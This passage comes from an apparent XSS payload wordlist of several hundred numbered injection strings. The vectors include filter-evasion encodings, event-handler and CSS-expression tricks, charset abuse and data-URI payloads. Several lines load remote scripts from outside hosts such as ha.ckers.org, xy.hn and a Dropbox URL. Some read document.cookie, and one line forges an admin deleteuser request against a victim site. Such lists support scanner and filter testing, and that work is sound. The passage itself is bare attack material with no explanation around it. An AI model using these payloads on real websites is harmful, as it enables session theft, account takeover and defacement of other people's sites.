  398. <xml id="xss" src="%(htc)s"></xml> <label dataformatas="html" datasrc="#xss" datafld="payload"></label>
  399. <event-source src="%(event)s" onload="javascript:alert(1)">
  400. <a href="javascript:javascript:alert(1)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A">
  401. <div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=javascript:alert(1)&gt;">
  402. <script>%(payload)s</script>
  403. <script src=%(jscript)s></script>
  404. <script language='javascript' src='%(jscript)s'></script>
  405. <script>javascript:alert(1)</script>
  406. <IMG SRC="javascript:javascript:alert(1);">
  407. <IMG SRC=javascript:javascript:alert(1)>
  408. <IMG SRC=`javascript:javascript:alert(1)`>
  409. <SCRIPT SRC=%(jscript)s?<B>
  410. <FRAMESET><FRAME SRC="javascript:javascript:alert(1);"></FRAMESET>
  411. <BODY ONLOAD=javascript:alert(1)>
  412. <BODY ONLOAD=javascript:javascript:alert(1)>
  413. <IMG SRC="jav   ascript:javascript:alert(1);">
  414. <BODY onload!#$%%&()*~+-_.,:;?@[/|\]^`=javascript:alert(1)>
  415. <SCRIPT/SRC="%(jscript)s"></SCRIPT>
  416. <<SCRIPT>%(payload)s//<</SCRIPT>
  417. <IMG SRC="javascript:javascript:alert(1)"
  418. <iframe src=%(scriptlet)s <
  419. <INPUT TYPE="IMAGE" SRC="javascript:javascript:alert(1);">
  420. <IMG DYNSRC="javascript:javascript:alert(1)">
  421. <IMG LOWSRC="javascript:javascript:alert(1)">
  422. <BGSOUND SRC="javascript:javascript:alert(1);">
  423. <BR SIZE="&{javascript:alert(1)}">
  424. <LAYER SRC="%(scriptlet)s"></LAYER>
  425. <LINK REL="stylesheet" HREF="javascript:javascript:alert(1);">
  426. <STYLE>@import'%(css)s';</STYLE>
  427. <META HTTP-EQUIV="Link" Content="<%(css)s>; REL=stylesheet">
  428. <XSS STYLE="behavior: url(%(htc)s);">
  429. <STYLE>li {list-style-image: url("javascript:javascript:alert(1)");}</STYLE><UL><LI>XSS
  430. <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:alert(1);">
  431. <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:javascript:alert(1);">
  432. <IFRAME SRC="javascript:javascript:alert(1);"></IFRAME>
  433. <TABLE BACKGROUND="javascript:javascript:alert(1)">
  434. <TABLE><TD BACKGROUND="javascript:javascript:alert(1)">
  435. <DIV STYLE="background-image: url(javascript:javascript:alert(1))">
  436. <DIV STYLE="width:expression(javascript:alert(1));">
  437. <IMG STYLE="xss:expr/*XSS*/ession(javascript:alert(1))">
  438. <XSS STYLE="xss:expression(javascript:alert(1))">
  439. <STYLE TYPE="text/javascript">javascript:alert(1);</STYLE>
  440. <STYLE>.XSS{background-image:url("javascript:javascript:alert(1)");}</STYLE><A CLASS=XSS></A>
  441. <STYLE type="text/css">BODY{background:url("javascript:javascript:alert(1)")}</STYLE>
  442. <!--[if gte IE 4]><SCRIPT>javascript:alert(1);</SCRIPT><![endif]-->
  443. <BASE HREF="javascript:javascript:alert(1);//">
  444. <OBJECT TYPE="text/x-scriptlet" DATA="%(scriptlet)s"></OBJECT>
  445. <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:javascript:alert(1)></OBJECT>
  446. <HTML xmlns:xss><?import namespace="xss" implementation="%(htc)s"><xss:xss>XSS</xss:xss></HTML>""","XML namespace."),("""<XML ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:javascript:alert(1)"&gt;</B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
  447. <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;javascript:alert(1)&lt;/SCRIPT&gt;"></BODY></HTML>
  448. <SCRIPT SRC="%(jpg)s"></SCRIPT>
  449. <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-%(payload)s;+ADw-/SCRIPT+AD4-
  450. <form id="test" /><button form="test" formaction="javascript:javascript:alert(1)">X
  451. <body onscroll=javascript:alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
  452. <P STYLE="behavior:url('#default#time2')" end="0" onEnd="javascript:alert(1)">
  453. <STYLE>@import'%(css)s';</STYLE>
  454. <STYLE>a{background:url('s1' 's2)}@import javascript:javascript:alert(1);');}</STYLE>
  455. <meta charset= "x-imap4-modified-utf7"&&>&&<script&&>javascript:alert(1)&&;&&<&&/script&&>
  456. <SCRIPT onreadystatechange=javascript:javascript:alert(1);></SCRIPT>
  457. <style onreadystatechange=javascript:javascript:alert(1);></style>
  458. <?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>javascript:alert(1);</html:script></html:html>
  459. <embed code=%(scriptlet)s></embed>
  460. <embed code=javascript:javascript:alert(1);></embed>
  461. <embed src=%(jscript)s></embed>
  462. <frameset onload=javascript:javascript:alert(1)></frameset>
  463. <object onerror=javascript:javascript:alert(1)>
  464. <embed type="image" src=%(scriptlet)s></embed>
  465. <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:javascript:alert(1);">]]</C><X></xml>
  466. <IMG SRC=&{javascript:alert(1);};>
  467. <a href="jav&#65ascript:javascript:alert(1)">test1</a>
  468. <a href="jav&#97ascript:javascript:alert(1)">test1</a>
  469. <embed width=500 height=500 code="data:text/html,<script>%(payload)s</script>"></embed>
  470. <iframe srcdoc="&LT;iframe&sol;srcdoc=&amp;lt;img&sol;src=&amp;apos;&amp;apos;onerror=javascript:alert(1)&amp;gt;>">
  471. ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
  472. alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
  473. ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
  474. '';!--"<XSS>=&{()}
  475. <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
  476. <IMG SRC="javascript:alert('XSS');">
  477. <IMG SRC=javascript:alert('XSS')>
  478. <IMG SRC=JaVaScRiPt:alert('XSS')>
  479. <IMG SRC=javascript:alert("XSS")>
  480. <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
  481. <a onmouseover="alert(document.cookie)">xxs link</a>
  482. <a onmouseover=alert(document.cookie)>xxs link</a>
  483. <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
  484. <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
  485. <IMG SRC=# onmouseover="alert('xxs')">
  486. <IMG SRC= onmouseover="alert('xxs')">
  487. <IMG onmouseover="alert('xxs')">
  488. <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
  489. <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
  490. <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
  491. <IMG SRC="jav   ascript:alert('XSS');">
  492. <IMG SRC="jav&#x09;ascript:alert('XSS');">
  493. <IMG SRC="jav&#x0A;ascript:alert('XSS');">
  494. <IMG SRC="jav&#x0D;ascript:alert('XSS');">
  495. perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
  496. <IMG SRC=" &#14;  javascript:alert('XSS');">
  497. <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  498. <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
  499. <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  500. <<SCRIPT>alert("XSS");//<</SCRIPT>
  501. <SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
  502. <SCRIPT SRC=//ha.ckers.org/.j>
  503. <IMG SRC="javascript:alert('XSS')"
  504. <iframe src=http://ha.ckers.org/scriptlet.html <
  505. \";alert('XSS');//
  506. </TITLE><SCRIPT>alert("XSS");</SCRIPT>
  507. <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
  508. <BODY BACKGROUND="javascript:alert('XSS')">
  509. <IMG DYNSRC="javascript:alert('XSS')">
  510. <IMG LOWSRC="javascript:alert('XSS')">
  511. <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
  512. <IMG SRC='vbscript:msgbox("XSS")'>
  513. <IMG SRC="livescript:[code]">
  514. <BODY ONLOAD=alert('XSS')>
  515. <BGSOUND SRC="javascript:alert('XSS');">
  516. <BR SIZE="&{alert('XSS')}">
  517. <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
  518. <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
  519. <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
  520. <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
  521. <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
  522. <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
  523. <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
  524. exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
  525. <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
  526. <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
  527. <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
  528. <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
  529. <XSS STYLE="xss:expression(alert('XSS'))">
  530. <XSS STYLE="behavior: url(xss.htc);">
  531. ТМscriptТОalert(ТЂXSSТЂ)ТМ/scriptТО
  532. <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
  533. <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
  534. <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
  535. <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
  536. <IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
  537. <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
  538. <TABLE BACKGROUND="javascript:alert('XSS')">
  539. <TABLE><TD BACKGROUND="javascript:alert('XSS')">
  540. <DIV STYLE="background-image: url(javascript:alert('XSS'))">
  541. <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
  542. <DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">
  543. <DIV STYLE="width: expression(alert('XSS'));">
  544. <BASE HREF="javascript:alert('XSS');//">
  545. <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
  546. <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
  547. <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
  548. <!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->
  549. <? echo('<SCR)';echo('IPT>alert("XSS")</SCRIPT>'); ?>
  550. <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
  551. Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
  552. <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
  553. <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
  554. <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  555. <SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  556. <SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  557. <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  558. <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  559. <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  560. <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  561. <A HREF="http://66.102.7.147/">XSS</A>
  562. <A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
  563. <A HREF="http://1113982867/">XSS</A>
  564. <A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
  565. <A HREF="http://0102.0146.0007.00000223/">XSS</A>
  566. <A HREF="htt    p://6   6.000146.0x7.147/">XSS</A>
  567. <iframe %00 src="&Tab;javascript:prompt(1)&Tab;"%00>
  568. <svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'
  569. <input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
  570. <sVg><scRipt %00>alert&lpar;1&rpar; {Opera}
  571. <img/src=`%00` onerror=this.onerror=confirm(1)
  572. <form><isindex formaction="javascript&colon;confirm(1)"
  573. <img src=`%00`&NewLine; onerror=alert(1)&NewLine;
  574. <script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script>
  575. <ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?
  576. <iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
  577. <script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/
  578. &#34;&#62;<h1/onmouseover='\u0061lert(1)'>%00
  579. <iframe/src="data:text/html,<svg &#111;&#110;load=alert(1)>">
  580. <meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
  581. <svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script
  582. <svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}
  583. <meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
  584. <iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
  585. <form><a href="javascript:\u0061lert&#x28;1&#x29;">X
  586. </script><img/*%00/src="worksinchrome&colon;prompt&#x28;1&#x29;"/%00*/onerror='eval(src)'>
  587. <img/&#09;&#10;&#11; src=`~` onerror=prompt(1)>
  588. <form><iframe &#09;&#10;&#11; src="javascript&#58;alert(1)"&#11;&#10;&#09;;>
  589. <a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="&#09;&#10;&#11;>X</a
  590. http://www.google<script .com>alert(document.location)</script
  591. <a&#32;href&#61;&#91;&#00;&#93;"&#00; onmouseover=prompt&#40;1&#41;&#47;&#47;">XYZ</a
  592. <img/src=@&#32;&#13; onerror = prompt('&#49;')
  593. <style/onload=prompt&#40;'&#88;&#83;&#83;'&#41;
  594. <script ^__^>alert(String.fromCharCode(49))</script ^__^
  595. </style &#32;><script &#32; :-(>/**/alert(document.location)/**/</script &#32; :-(
  596. &#00;</form><input type&#61;"date" onfocus="alert(1)">
  597. <form><textarea &#13; onkeyup='\u0061\u006C\u0065\u0072\u0074&#x28;1&#x29;'>
  598. <script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/
  599. <iframe srcdoc='&lt;body onload=prompt&lpar;1&rpar;&gt;'>
  600. <a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a>
  601. <script ~~~>alert(0%0)</script ~~~>
  602. <style/onload=&lt;!--&#09;&gt;&#10;alert&#10;&lpar;1&rpar;>
  603. <///style///><span %2F onmousemove='alert&lpar;1&rpar;'>SPAN
  604. <img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1)
  605. &#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>'
  606. &#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(1)>OnMouseOver {Firefox & Opera}
  607. <marquee onstart='javascript:alert&#x28;1&#x29;'>^__^
  608. <div/style="width:expression(confirm(1))">X</div> {IE7}
  609. <iframe/%00/ src=javaSCRIPT&colon;alert(1)
  610. //<form/action=javascript&#x3A;alert&lpar;document&period;cookie&rpar;><input/type='submit'>//
  611. /*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>
  612. //|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\
  613. </font>/<svg><style>{src&#x3A;'<style/onload=this.onload=confirm(1)>'</font>/</style>
  614. <a/href="javascript:&#13; javascript:prompt(1)"><input type="X">
  615. </plaintext\></|\><plaintext/onmouseover=prompt(1)
  616. </svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert&#x28;1&#x29; {Opera}
  617. <a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button>
  618. <div onmouseover='alert&lpar;1&rpar;'>DIV</div>
  619. <iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
  620. <a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>
  621. <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
  622. <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
  623. <var onmouseover="prompt(1)">On Mouse Over</var>
  624. <a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a>
  625. <img src="/" =_=" title="onerror='prompt(1)'">
  626. <%<!--'%><script>alert(1);</script -->
  627. <script src="data:text/javascript,alert(1)"></script>
  628. <iframe/src \/\/onload = prompt(1)
  629. <iframe/onreadystatechange=alert(1)
  630. <svg/onload=alert(1)
  631. <input value=<><iframe/src=javascript:confirm(1)
  632. <input type="text" value=`` <div/onmouseover='alert(1)'>X</div>
  633. http://www.<script>alert(1)</script .com
  634. <iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe>
  635. <svg><script ?>alert(1)
  636. <iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>
  637. <img src=`xx:xx`onerror=alert(1)>
  638. <object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>
  639. <meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>
  640. <math><a xlink:href="//jsfiddle.net/t846h/">click
  641. <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
  642. <svg contentScriptType=text/vbs><script>MsgBox+1
  643. <a href="data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>">X</a
  644. <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
  645. <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
  646. <script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
  647. <script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script
  648. <object data=javascript&colon;\u0061&#x6C;&#101%72t(1)>
  649. <script>+-+-1-+-+alert(1)</script>
  650. <body/onload=&lt;!--&gt;&#10alert(1)>
  651. <script itworksinallbrowsers>/*<script* */alert(1)</script
  652. <img src ?itworksonchrome?\/onerror = alert(1)
  653. <svg><script>//&NewLine;confirm(1);</script </svg>
  654. <svg><script onlypossibleinopera:-)> alert(1)
  655. <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe
  656. <script x> alert(1) </script 1=2
  657. <div/onmouseover='alert(1)'> style="x:">
  658. <--`<img/src=` onerror=alert(1)> --!>
  659. <script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script>
  660. <div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>
  661. "><img src=x onerror=window.open('https://www.google.com/');>
  662. <form><button formaction=javascript&colon;alert(1)>CLICKME
  663. <math><a xlink:href="//jsfiddle.net/t846h/">click
  664. <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>
  665. <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
  666. <a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click Me</a>
  667. <img language=vbs src=<b onerror=alert#1/1#>
  668. <isindex action="javas&Tab;cript:alert(1)" type=image>
  669. "]<img src=1 onerror=alert(1)>
  670. <input/type="image"/value=""`<span/onmouseover='confirm(1)'>X`</span>
  671. <svg[U+000B]onload=alert(1)>
  672. <iframe/name="javascript:confirm(1);"onload="while(1){eval(name);}">
  673. <cite><a href="javascript:confirm(1);">XSS cited!</a></cite>
  674. <svg/onload=window.onerror=alert;throw/XSS/;//
  675. <video src="x" onloadstart="alert(1)">
  676. <a href="javascript:data:alert(1)">click</a>
  677. <a href="javascript://%0d(0===0&&1==1)%0c?alert(1):confirm(2)">click</a>
  678. <div style='x:anytext/**/xxxx/**/n(alert(1)) ("\"))))))expressio\")'>aa</div>
  679. <%%%>
  680. <meta charset=iso-2022-jp><%1B(Jd%1B(Ji%1B(Jv><i%1B(Jm%1B(Jg s%1B(Jr%1B(Jc%1B(J=%1B(Jx o%1B(Jn%1B(Jer%1B(Jr%1B(Jo%1B(Jr%1B(J=%1B(Ja%1B(Jl%1B(Je%1B(Jr%1B(Jt(1)//%1B(J<%1B(J/%1B(Jd%1B(Jiv%1B(J>%1B(J
  681. <!-- Hello -- world > <SCRIPT>confirm(1)</SCRIPT> -->
  682. <! XSS="><img src=xx:x onerror=confirm(1)//">
  683. "; ||confirm('XSS') || "
  684. <? echo('<SCR)';
  685. "/> <img src='aaa' onerror=confirm(document.domain)>
  686. /> <img src='aaa' onerror=confirm(document.domain)>
  687. <!-- --!><input value="--><body/onload=`confirm(4)//`">
  688. <!-- sample vector --> <img src=xx:xx *chr*onerror=logChr(*num*)> <a href=javascript*chr*:confirm(*num*)>*num*</a>
  689. //|\\ <script //|\\ src='http://xss.cx/xss.js'> //|\\ </script //|\\
  690. &#0000060
  691. &#0000060;
  692. &#0000062
  693. &#0000062;
  694. &#000060
  695. &#000060;
  696. &#000062
  697. &#000062;
  698. &#00060
  699. &#00060;
  700. &#00062
  701. &#00062;
  702. &#0060
  703. &#0060;
  704. &#0062
  705. &#0062;
  706. &#00;</form><input type&#61;"date" onfocus="confirm(1)">
  707. &#060
  708. &#060;
  709. &#062
  710. &#062;
  711. %2522%253E%253Csvg%2520onload%3D%2522confirm(7)%2522%253E
  712. %253Cs%26%2399%3Bri%26%23112%3Bt%2520s%26%23114%3Bc%253D%252F%252Fxy%252Ehn%252Fa%252Ejs%2520%253E%253C%252Fs%26%2399%3B%26%23114%3Bi%26%23112%3Bt%253E
  713. %253Cs%26%23x63%3Bri%26%23x70%3Bt%2520s%26%23x72%3Bc%253D%252F%252Fxy%252Ehn%252Fa%252Ejs%2520%253E%253C%252Fs%26%23x63%3B%26%23x72%3Bi%26%23x70%3Bt%253E
  714. %253Cscript%2520src%253D%252F%252Fxy%252Ehn%252Fa%252Ejs%2520%253E%253C%252Fscript%253E
  715. "%25prompt(9)%25"
  716. "%26%26prompt(9)%26%26"
  717. %26lt%3bscript>
  718. "%26prompt(9)%26"
  719. %27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3ERWAR%280x00010E%29%3C%2Fscript%3E
  720. <3 </3
  721. &#34;&#62;<h1/onmouseover='\u0061lert(1)'>%00
  722. &#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>'
  723. %3C
  724. %3Cdiv%20style%3Dposition%3Afixed%3Btop%3A0px%3Bleft%3A0px%3Bbackground%2Dcolor%3A%23FFFFFF%3Bwidth%3A100%25%3Bheight%3A100%25%3Btext%2Dalign%3Acenter%3Bz%2Dindex%3A11%3B%20%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Ca%20href%3D%3Fxss%3D%253Cs%26%2399%3Bri%26%23112%3Bt%2520s%26%23114%3Bc%253D%252F%252Fxy%252Ehn%252Fa%252Ejs%2520%253E%253C%252Fs%26%2399%3B%26%23114%3Bi%26%23112%3Bt%253E%3EThe%20requested%20page%20has%20moved%20here%3C%2Fa%3E%3C%2Fdiv%3E
  725. %3Cdiv%20style%3Dposition%3Afixed%3Btop%3A0px%3Bleft%3A0px%3Bbackground%2Dcolor%3A%23FFFFFF%3Bwidth%3A100%25%3Bheight%3A100%25%3Btext%2Dalign%3Acenter%3Bz%2Dindex%3A11%3B%20%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Ca%20href%3D%3Fxss%3D%253Cs%26%2399%3Bri%26%23112%3Bt%2520s%26%23114%3Bc%253D%252F%252Fxy%252Ehn%252Fa%252Ejs%2520%253E%253C%252Fs%26%2399%3B%26%23114%3Bi%26%23112%3Bt%253E%3EThe%20requested%20page%20has%20moved%20here%3C%2Fa%3E%3C%2Fdiv%3E
